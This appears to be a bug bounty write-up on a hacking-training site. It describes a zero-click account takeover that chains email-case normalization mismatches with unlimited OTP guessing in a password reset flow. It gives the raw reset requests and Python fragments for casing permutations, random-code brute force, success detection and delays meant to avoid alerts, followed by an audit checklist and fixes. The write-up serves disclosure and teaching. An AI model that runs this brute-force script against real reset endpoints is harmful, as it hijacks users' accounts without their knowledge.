Intermediate levelFreebounty: €560

0-click Account Takeover — OTP brute force + Email Normalization

Two separate flaws look minor. Together, they hand you full ATO knowing only the email. Real bounty: €560 and 12 minutes of exploitation.

Gorka El BochiMay 9, 202614 min

Quick answer

Two flaws in the password reset flow: the OTP is not bound to the canonical email (it accepts any upper/lowercase variant) and there is no rate limiting on verification. Combined, they allow full ATO in 12 minutes knowing only the victim's email, with no interaction and fully automatable.


The reset flow and the two flaws

To understand it, you first need to be clear about how the target's reset flow works:

css
1. El usuario introduce su email
2. El sistema envía un OTP (código numérico) a ese email
3. El usuario introduce el OTP + nueva contraseña
4. El sistema verifica el OTP y actualiza la contraseña

It looks solid. The problem lies in how the system treats the email between step 2 and step 4.

Flaw 1: the email is not normalized the same way in both endpoints

Emails are case-insensitive. usuario@ejemplo.com and USUARIO@EJEMPLO.COM are the same address. Any well-implemented system lowercases them before processing.

That doesn't happen consistently here. The endpoint that generates the OTP and the endpoint that verifies the OTP treat the email independently. This means an OTP generated for Usuario@Ejemplo.COM can be validated against USUARIO@ejemplo.com — the system resolves them to the same user in the DB, but does not check that the code was issued for that exact representation.

Analogy: you buy a cinema ticket under the name "JUAN GARCÍA" and they let you in with "Juan García". The usher only checks that the name matches someone on the list, without verifying that the ticket was issued for that exact spelling.

Flaw 2: there is no rate limiting on OTP verification

A 4-digit OTP has exactly 10,000 possible combinations (from 0000 to 9999). If the system doesn't limit how many times you can try to verify a code, that space is perfectly brute-forceable in a matter of minutes.


How the two flaws combine

  1. The attacker takes the victim's email, for example: victima@ejemplo.com.
  2. Generates every possible casing variant of that email:
    • Victima@ejemplo.com
    • VICTIMA@ejemplo.com
    • victima@Ejemplo.com
    • Victima@Ejemplo.Com
    • … (thousands depending on the email length)
  3. For each variant, requests an OTP from the system.
  4. Tries a handful of random codes on the verification endpoint for that same variant.
  5. Repeats until a hit.

Each time you request an OTP, the system generates a new 4-digit number. Trying variant after variant and a few codes each, statistically you end up covering the space of 10,000 combinations. In practice, the process took around 12 minutes.


The endpoints involved

Step 1 — Request OTP:

http
POST /napi/partner/checkCode/sms HTTP/2
Content-Type: application/x-www-form-urlencoded

account=Victima@Ejemplo.COM&bizType=1

Step 2 — Verify OTP + reset password:

http
PUT /napi/partner/password/reset HTTP/2
Content-Type: application/x-www-form-urlencoded

account=VICTIMA@ejemplo.Com
&newPassword=nuevapassword123
&checkCode=4821

Note: step 1 uses Victima@Ejemplo.COM and step 2 uses VICTIMA@ejemplo.Com. They are two different representations of the same email. The system accepts the verification anyway.


The exploitation script, piece by piece

Generating casing variants

python
def unique_case_permutations(s: str) -> List[str]:
    choices = []
    for ch in s:
        if ch.isalpha():
            choices.append((ch.lower(), ch.upper()))
        else:
            choices.append((ch,))
    out = set("".join(p) for p in itertools.product(*choices))
    return sorted(out)

For each alphabetic character of the email it generates two options (lowercase and uppercase). With itertools.product it builds all possible combinations.

Requesting the OTP

python
def post_req1(session: requests.Session, account: str) -> requests.Response:
    url = BASE_URL + REQ1_PATH
    data = {"account": account, "bizType": "1"}
    return session.post(url, data=data, headers=headers, timeout=15)

For each email variant, it fires a POST at the OTP generation endpoint.

Brute-forcing the OTP

python
codes_to_try = [f"{random.randint(0, 9999):04d}" for _ in range(4)]

for code4 in codes_to_try:
    r2 = put_req2(session, account_variant, new_password, code4)
    if is_success(r2):
        # ¡Éxito! Password reseteado

For each email variant, it tries 4 random codes. If any matches the OTP active at that moment, the system accepts it and changes the password.

Self-imposed rate limiting

python
MIN_DELAY = 0.5  # segundos entre peticiones

The script imposes a 0.5s delay between requests on itself so as not to raise alerts. This also confirms the server had no protection of its own.

Success detector

python
SUCCESS_META_CODE = 200
SUCCESS_MESSAGE_SUBSTR = "操作成功"   # "operación exitosa" en chino

def is_success(resp: requests.Response) -> bool:
    data = resp.json()
    meta = data.get("meta")
    if meta.get("code") == SUCCESS_META_CODE:
        if SUCCESS_MESSAGE_SUBSTR in str(meta.get("message", "")):
            return True

The positive response includes the string 操作成功 in meta.message. An interesting detail that gives away the origin of the backend development and is a good fingerprinting indicator if you find other targets on the same stack.


What to look for when auditing similar flows

This pattern shows up more often than it seems. When you have a password recovery flow in hand, check:

  • Is the email normalized before generating the OTP? Request the OTP in uppercase and verify in lowercase.
  • Is the OTP tied to the canonical email or to the exact string received? They are two different things and many backends only do the first.
  • Is there rate limiting on the verification endpoint? Not just on the generation one. Fire 50 requests in a row and observe whether the server reacts.
  • How many digits does the OTP have? 4 digits = 10,000 combinations. 6 digits = 1,000,000. The difference between exploitable in minutes or in hours.
  • Is the OTP invalidated after N failed attempts? Without lockout, brute force is viable regardless of the number of digits.

Impact

  • Takeover of any account knowing only the email.
  • No victim interaction at any point.
  • Fully automatable with a script of under 200 lines.
  • Scalable to mass account compromise.

Correct fix

  1. Normalize the email (lowercase) before any OTP-related operation, both in generation and in verification.
  2. Bind the OTP to the account's canonical identifier, not to the received email string.
  3. Rate limiting + lockout on the verification endpoint: maximum N attempts per active OTP, with a temporary block once exceeded.

Practice email normalization chains, OTP brute force and reset flows in real scenarios: ATO labs.

Practice this in a lab

Ato

Solve

Keep learning · free account

Save your progress, unlock advanced payloads and rank your flags.

Create account

Related articles

hunters training
711

hunters training

labs from real reports
55

labs from real reports

completions
1,205

completions

in bounties practiced
$213,970

in bounties practiced

46 flags captured this week·Real reports from HackerOne · Bugcrowd · Intigriti·No commitment·Free Academy